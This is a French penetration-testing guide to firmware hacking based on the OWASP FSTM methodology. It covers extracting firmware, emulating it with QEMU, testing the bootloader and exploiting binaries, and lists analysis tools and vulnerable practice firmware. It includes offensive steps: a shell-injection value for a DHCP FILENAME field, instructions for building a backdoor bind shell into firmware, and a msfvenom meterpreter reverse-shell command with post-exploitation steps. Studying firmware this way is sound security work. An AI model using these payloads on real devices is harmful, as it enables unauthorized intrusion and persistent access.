🐣Firmware hacking
Description
Un firmware (ou logiciel embarqué en français) est un programme informatique intégré dans un matériel, qui participe à son bon fonctionnement et qui lui permet d'évoluer (via l'installation de mises à jour) sans avoir besoin de remplacer ce matériel ou de revoir son design. Habituellement, il démarre le système d'exploitation et fournit des services d'exécution spécifiques pour les programmes en communiquant avec divers composants hardware. Bien que le firmware soit un logiciel plus simple et plus fiable qu'un systèmes d'exploitation, il est également plus restrictif et est conçu pour prendre en charge uniquement un matériel spécifique.
OWASP Firmware Security Testing Methodology (FSTM)
Etapes
Collecte d'information
Obtention du firmware
Analyse du firmware
Extraction du système de fichier
Analyse du contenu du système de fichier
Emulation du firmware
Analyse Dynamique
Analyse en live
Exploitation du binaire
Collecte d'information
Durant cette phase, On va tenter de récolter un maximum d'informations sur la cible pour comprendre sa composition globale sous-jacente à la technologie:
Architecture de CPU supportée
OS
Config de bootloader
Hardware
Datasheets
Lines-of-Code (LoC)
Code source
Composants tiers
Licence Open Source (exp: GPL)
ChangeLogs
ID FCC
Conception et diagrammes de flux de données
Threat Models
Tests d'intrusion précédents
Bug tracking ticket (exp: Jira, Bug bounty)
...
Obtenir le firmware
Pour obtenir le firmware, il y a différentes méthodes possibles:
Demander directement au fabriquant, vendeur, à l'équipe de développement ou a un client.
Le build à partir de zéro en utilisant les procédures pas à pas fournies par le fabricant.
Via la page de support du vendeur.
Via des requêtes Google dork ciblées sur les extensions de fichiers binaires et les plates-formes de partage de fichiers telles que Dropbox, Box et Google Drive
En faisant un MITM sur les communications du système pendant une mise à jour
Via des S3 buckets
Extraire directement du matériel via UART, JTAG, PICit, etc.
Sniffer la communication série dans les composants hardware pour les demandes aux serveur de mise à jour.
Via un endpoint codé en dur dans les applications mobiles.
Via un dump depuis le bootloader vers le stockage flash ou sur le réseau via tftp.
Assurez-vous de respecter les lois et réglementations locales lors du téléchargement de données à partir de services de stockage de fournisseurs de cloud exposés.
Analyse du firmware
Une fois le firmware en notre possession, on va pouvoir faire une première analyse du fichier directement avec différents utilitaires:
Si cela ne renvoie pas de données interessantes, c'est peut-être que le binaire est chiffré auquel cas on peut utiliser binwalk de cette manière pour obtenir l'entropie.
$ binwalk -E <bin>
Si l'entropie est basse, le binaire n'est probablement pas chiffré. Cependant à l'inverse, si l'entropie est haute le binaire est probablement chiffré.
Extraction du filesystem
Pour extraire le filesystem d'un binaire on peut utiliser l'utilitaire binwalk de cette manière:
$ binwalk -ev <bin>
Les fichiers seront extraits vers " _binaryname/filesystemtype/"
Types de systèmes de fichiers : squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs
Dans le cas ou binwalk n'aurait pas le magic byte du système de fichier dans ses signatures, Dans ces cas, utilisez binwalk pour trouver le décalage du système de fichiers et découpez le système de fichiers compressé à partir du binaire et extrayez manuellement le système de fichiers en fonction de son type.
Exemple:
Dans l'exemple ci-dessus, on peut remarquer à la dernière ligne qu'il s'agit d'un "Squashfs".
On peut alors utiliser la commande "dd" comme ceci pour copier le système de fichier:
On va ensuite utiliser unsquashfs pour décompresser le fichier output.squashfs généré précédemment:
$ unsquashfs output.squashfs
Les fichiers seront ensuite dans le répertoire "squashfs-root".
Fichier archive CPIO
$ cpio -ivd --no-absolute-filenames -F <bin>
jffs2 filesystems
$ jefferson rootfsfile.jffs2
ubifs filesystems avec NAND flash
$ ubireader_extract_images -u UBI -s <start_offset> <bin>
$ ubidump.py <bin>
Analyse des filesystems
Dans cette étape on va principalement rechercher les informations suivantes dans le contenu des filesystems:
Deamons de réseau hérités non sécurisés tels que telnetd
Identifiants codés en dur (nom d'utilisateur, mot de passe, clé d'API, clés SSH, portes dérobées...)
fuite d'informations techniques (API endpoints, IP internes...)
Mettre à jour les fonctionnalités du serveur pouvant être utilisées comme point d'entrée.
Examiner le code non compilé et démarrer des scripts pour l'exécution de code à distance.
Extraire les fichiers binaires compilés à utiliser pour l'analyse hors ligne avec un désassembleur.
Utiliser des outils et toolkit.
Emulation du firmware
En utilisant les détails et les indices identifiés dans les étapes précédentes, le micrologiciel ainsi que ses binaires encapsulés doivent être émulés pour vérifier les vulnérabilités potentielles.
Il y a plusieurs types d'émulation qui sont les suivantes:
L'émulation partielle
L'émulation complète
L'émulation sur un système réel ou sur VM
Emulation partielle (Emulation en mode utilisateur)
Prérequis: Architecture du CPU et endianness.
el = little endian
eb = big endian
Exemple:
Une fois l'architecture et l'endianness du processeur identifiés, localisez le binaire QEMU approprié pour effectuer une émulation partielle (pas pour émuler le micrologiciel complet, mais les binaires avec le micrologiciel extrait.)
Typiquement, dans : /usr/local/qemu-archou/usr/bin/qemu-arch
Copiez le binaire QEMU applicable dans le système de fichiers racine extrait. La deuxième commande montre la copie du binaire QEMU du bras statique vers le système de fichiers racine extrait dans un shell ZSH indiquant le chemin absolu.
Exécutez le binaire ARM (ou l'architecture appropriée) à émuler à l'aide de QEMU et chrootez avec la commande suivante :
$ sudo chroot . ./qemu-arch <binaire à emuler>
Exemple avec busybox:
Parfois, les requêtes sont envoyées au binaire CGI par le serveur HTTP. En émulant simplement le binaire CGI, il est possible d'analyser la procédure du processus ou de vérifier la vulnérabilité sans configurer de serveur HTTP. L'exemple suivant envoie une requête GET à un binaire MIPS CGI.
Avec le binaire cible émulé, interagissez avec son interpréteur ou son service d'écoute. Fuzzez ses interfaces d'application et de réseau.
Emulation complète
Lorsque cela est possible, utilisez des outils d'automatisation tels que:
Analyse dynamique
À cette étape, effectuez des tests dynamiques pendant qu'un périphérique s'exécute dans son environnement normal ou émulé. Les objectifs de cette étape peuvent varier selon le projet et le niveau d'accès accordé. En règle générale, cela implique la falsification des configurations du chargeur de démarrage, les tests Web et API, le fuzzing (services réseau et d'application), ainsi que l'analyse active à l'aide de divers outils pour acquérir un accès élevé (racine) et/ou l'exécution de code.
Test du bootloader
Lors de la modification du démarrage de l'appareil et des chargeurs de démarrage tels que U-boot, essayez ce qui suit:
Essayez d'accéder au shell de l'interpréteur des chargeurs de démarrage en appuyant sur "0", espace ou d'autres "codes magiques" identifiés lors du démarrage.
Modifier les configurations pour exécuter une commande shell telle que l'ajout de ' init=/bin/sh' à la fin des arguments de démarrage.
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3
mtdparts=sflash: rootfstype= hasEeprom=0 5srst=0 int=/bin/sh
#saveenv
#boot
Configurez un serveur TFTP pour charger des images sur le réseau localement à partir de votre poste de travail. Assurez-vous que l'appareil dispose d'un accès au réseau.
#setenv ipaddr <device local IP>
#setenv serverip <tftp server IP>
#saveenv
#reset
#ping 192.168.2.1 #check si le système est accessible sur le réseau
#tftp ${loadaddr} uImage-3.6.35 #loadaddr prend deux arguments : l'adresse dans laquelle charger le fichier et le nom de fichier de l'image sur le serveur TFTP
Utilisez
ubootwrite.py
pour écrire l'image uboot et poussez un firmware modifié pour gagner la racine.Vérifiez les fonctionnalités de débogage activées telles que:
journalisation détaillée
chargement de noyaux arbitraires
démarrage à partir de sources non fiables
Configurer un serveur DHCP non autorisé avec des paramètres malveillants comme entrée pour qu'un appareil l'ingère lors d'un démarrage PXE.
Utilisez le serveur auxiliaire DHCP de Metasploit (MSF) et modifiez le paramètre 'FILENAME' avec des injection de commande telles que ‘
a";/bin/sh;#
’pour tester la validation des entrées pour les procédures de démarrage de l'appareil.
Tests d'intégrité
Tentez de télécharger un firmware personnalisé et/ou des fichiers binaires compilés pour chercher des défauts d'intégrité ou de vérification de signature. Par exemple, compilez un shell de liaison de porte dérobée qui démarre au démarrage en procédant comme suit.
Extraire le firmware avec firmware-mod-kit (FMK)
Identifier l'architecture et l'endianness du micrologiciel cible
Créez un compilateur croisé avec Buildroot ou utilisez d'autres méthodes adaptées à votre environnement
Utiliser un compilateur croisé pour créer la porte dérobée
Copiez la porte dérobée dans le firmware extrait /usr/bin
Copiez le binaire QEMU approprié dans le rootfs du micrologiciel extrait
Émulez la porte dérobée en utilisant chroot et QEMU
Connectez-vous à la porte dérobée via netcat
Supprimer le binaire QEMU du rootfs du micrologiciel extrait
Reconditionner le firmware modifié avec FMK
Testez le micrologiciel de la porte dérobée en émulant avec la boîte à outils d'analyse du micrologiciel (FAT) et en vous connectant à l'adresse IP et au port de la porte dérobée cible à l'aide de netcat
Si un shell racine a déjà été obtenu à partir d'une analyse dynamique, d'une manipulation du chargeur de démarrage ou de moyens de test de sécurité matérielle, essayez d'exécuter des binaires malveillants précompilés tels que des implants ou des shells inversés. Envisagez d'utiliser des outils automatisés de charge utile utilisés pour les Command and Control (C&C). Par exemple, le framework Metasploit et 'msfvenom' peuvent être exploités en suivant les étapes suivantes.
Identifier l'architecture et l'endianness du micrologiciel cible
Utilisez msfvenom pour spécifier la charge utile cible appropriée (-p), l'adresse IP de l'hôte de l'attaquant (LHOST=), le numéro de port d'écoute (LPORT=), le type de fichier (-f), l'architecture (--arch), la plate-forme (--platform linux ou windows), et le fichier de sortie (-o). Exemple:
$ msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux
Transférez la charge utile vers le périphérique compromis et assurez-vous que la charge utile dispose des autorisations d'exécution
Préparez Metasploit pour gérer les demandes entrantes. (msfconsole => handler)
Exécutez le meterpreter reverse shell sur l'appareil compromis
Regarder les sessions de meterpreter ouvertes
Effectuer des activités de post-exploitation
Si possible, identifiez une vulnérabilité dans les scripts de démarrage pour obtenir un accès persistant à un périphérique lors des redémarrages. De telles vulnérabilités surviennent lorsque les scripts de démarrage référencent ou dépendent de code situé dans des emplacements montés non fiables tels que des cartes SD et des volumes flash utilisés pour stocker des données en dehors des systèmes de fichiers racine.
Test d'applications Web embarquées
Analyse du runtime
L'analyse d'exécution implique l'attachement à un processus en cours d'exécution ou à un binaire pendant qu'un périphérique s'exécute dans son environnement normal ou émulé. Les étapes d'analyse d'exécution de base sont fournies ci-dessous:
$ sudo chroot . ./qemu-arch -L -g <gdb_port>
Attachez gdb-multiarch ou utilisez IDA pour émuler le binaire
Définissez des points d'arrêt pour les fonctions identifiées lors de l'étape 4 telles que memcpy, strncpy, strcmp, etc.
Exécutez de grandes chaînes de charge utile pour identifier les débordements ou les plantages de processus à l'aide d'un fuzzer
Exploitation du binaire
Après avoir identifié une vulnérabilité dans un fichier binaire à partir des étapes précédentes, un PoC approprié est requis pour démontrer l'impact et le risque dans le monde réel. Le développement de code d'exploit nécessite une expérience de programmation dans des langages de niveau inférieur (par exemple ASM, C/C++, shellcode, etc.) ainsi qu'une expérience dans l'architecture cible particulière (par exemple MIPS, ARM, x86, etc.). Le code PoC consiste à obtenir une exécution arbitraire sur un appareil ou une application en contrôlant une instruction en mémoire.
Il n'est pas courant que des protections d'exécution binaires (par exemple NX, DEP, ASLR, etc.) soient en place dans les systèmes embarqués, mais lorsque cela se produit, des techniques supplémentaires peuvent être nécessaires, telles que le Return Oriented Programming (ROP). ROP permet à un attaquant d'implémenter des fonctionnalités malveillantes arbitraires en enchaînant le code existant dans le code du processus/binaire cible connu sous le nom de gadgets. Des mesures devront être prises pour exploiter une vulnérabilité identifiée telle qu'un débordement de tampon en formant une chaîne ROP. Un outil qui peut être utile dans des situations comme celles-ci est le chercheur de gadgets de Capstone (ROPGadget)
Outils
IDA
IDA est un outil d'analyse statique de fichier binaire. Il existe en version Pro (payante) et Freeware (gratuite).
ressource: https://hex-rays.com/ida-free/
Firmwalker
Firmwalker est un script bash permettant de rechercher dans les filesystem du contenu sensible.
Utilisation:
$ ./firmwalker path/to/root/filesystem path/for/firmwalker.txt
ressource: https://github.com/scriptingxss/firmwalker
Firmware Analysis Comparison Toolkit (FACT)
FACT est destiné à automatiser la majeure partie du processus d'analyse du micrologiciel. Il décompresse les fichiers de firmware arbitraires et traite plusieurs analyses. De plus, il peut comparer plusieurs images ou fichiers uniques. De plus, le déballage, l'analyse et les comparaisons sont basés sur des plug-ins garantissant une flexibilité et une évolutivité maximales.
ressource: https://github.com/fkie-cad/FACT_core
EMBA - Embedded Analyzer
EMBA est un scanner de firmware automatisé permettant de remonter les vulnérabilités présentes dans un firmware et d'en ressortir un rapport détaillé.
ressource: https://github.com/e-m-b-a/emba
Firmware Analysis Toolkit
FAT est une boîte à outils conçue pour aider les chercheurs en sécurité à analyser et à identifier les vulnérabilités de l'IoT et du micrologiciel des appareils embarqués.
Exemple d'utilisation:
$ python3 fat.py firmware.img --qemu 2.5.0
ressource: https://github.com/attify/firmware-analysis-toolkit
Emux
Emux (anciennement ARMX) est un framework d'émulation de firmware.
ressource: https://github.com/therealsaumil/emux
MIPS-X
MIPS-X est un framework d'émulation de firmware
ressource: https://github.com/getCUJO/MIPS-X
FIRMADYNE
FIRMADYNE est un système automatisé et évolutif pour effectuer l'émulation et l'analyse dynamique du micrologiciel embarqué basé sur Linux.
ressource: https://github.com/firmadyne/firmadyne
Qiling
Qiling est un framework d'émulation de firmware avancé.
ressource: https://github.com/qilingframework/qiling
Peda
Peda est un assistance au développement d'exploits Python pour GDB.
ressource: https://github.com/longld/peda
ROPGadget
ROPGadget permet de rechercher vos gadgets sur vos binaires pour faciliter votre exploitation ROP. ROPgadget prend en charge les formats ELF, PE et Mach-O sur les architectures x86, x64, ARM, ARM64, PowerPC, SPARC et MIPS.
ressource: https://github.com/JonathanSalwan/ROPgadget
Firmware volontairement vulnérables
OWASP IoTGoat
Damn Vulnerable Router Firmware Project
Damn Vulnerable ARM Router (DVAR)
Azeria Labs VM 2.0
Damn Vulnerable IoT Device (DVID)
Dernière mise à jour